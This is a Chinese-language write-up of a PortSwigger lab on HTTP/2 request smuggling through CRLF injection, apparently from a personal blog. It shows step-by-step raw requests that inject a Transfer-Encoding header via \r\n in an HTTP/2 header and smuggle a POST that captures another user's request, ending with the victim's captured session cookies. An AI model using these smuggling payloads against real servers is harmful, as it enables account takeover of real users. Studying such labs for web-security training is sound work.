从业者-CRLF请求走私
# 实验室:通过CRLF注入实现HTTP/2请求走私
# 题目
此实验室容易受到请求走私的攻击,因为前端服务器会降级 HTTP/2 请求,并且无法充分清理所传入的标头。
若要解决实验室问题,请使用 HTTP/2 专用请求走私向量来访问另一个用户的帐户。受害者每 15 秒访问一次主页。
如果你不熟悉 Burp 用于测试 HTTP/2 的专有功能,请参阅文档 (opens new window)以获取有关如何使用它们的详细信息。
提示
- 若要在 HTTP/2 标头中插入换行符,请通过 Inspector 进入对应标头的设置框,然后按
Shift + Return
键。请注意,当你双击标头时,此功能不可用。 - 在之前的实验室 (opens new window)中,我们介绍了一些方法,可以通过请求走私来捕获其他用户的请求。
译者加
当你往 HTTP/2 消息中添加了\r\n
序列之后,请求编辑窗口会显示为 “kettled”(不可用),这是正常情况。因为编辑器无法在不丢失信息的情况下,使用 HTTP/1 语法准确地表示 HTTP/2 请求。
- name: 实验室-从业者
desc: 通过CRLF注入实现HTTP/2请求走私 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
(目前只有图,文字后面有时间补)
点击 “ACCESS THE LAB” 进入实验室。


POST / HTTP/2
Host: ...
Content-Length: 0
GET /404 HTTP/1.1
Foo: x
1
2
3
4
5
6
2
3
4
5
6
POST / HTTP/2
Host: ...
Content-Length: 30
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9


POST / HTTP/2
Host: ...
Content-Length: 30
Foo: x\r\nTransfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x




POST / HTTP/2
Host: ...
Content-Length: 30
Foo: x\r\nTransfer-Encoding: chunked
0
POST / HTTP/1.1
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=




cookie: victim-fingerprint=LcZ6w2N50EZtkvKkOjIvV3Hhew38QqYz; secret=py7Ips9qT07pC3T88qFB0c7wWYqllehA; session=8UJAGGRNIF6Cg82pOSQDP3vI656EheJJ; _lab_analytics=RzrLzSz5rOCakvMiK0DBzPQ8HetaChMhHyYFUV5ZiTRWc6a1b1gqYi1UbxTEiW3XNixzvoNqvv5ECOHFLWeA2rdpoSUQHlhdHzAZgHuS9fqacefdgle9ghPoE1Z5MHjHrk8aGEYOUDhJU1haf8qa5oKie2VM3xIZLM0YDCUOnqAIBIV7xLqYwX
1


编辑 (opens new window)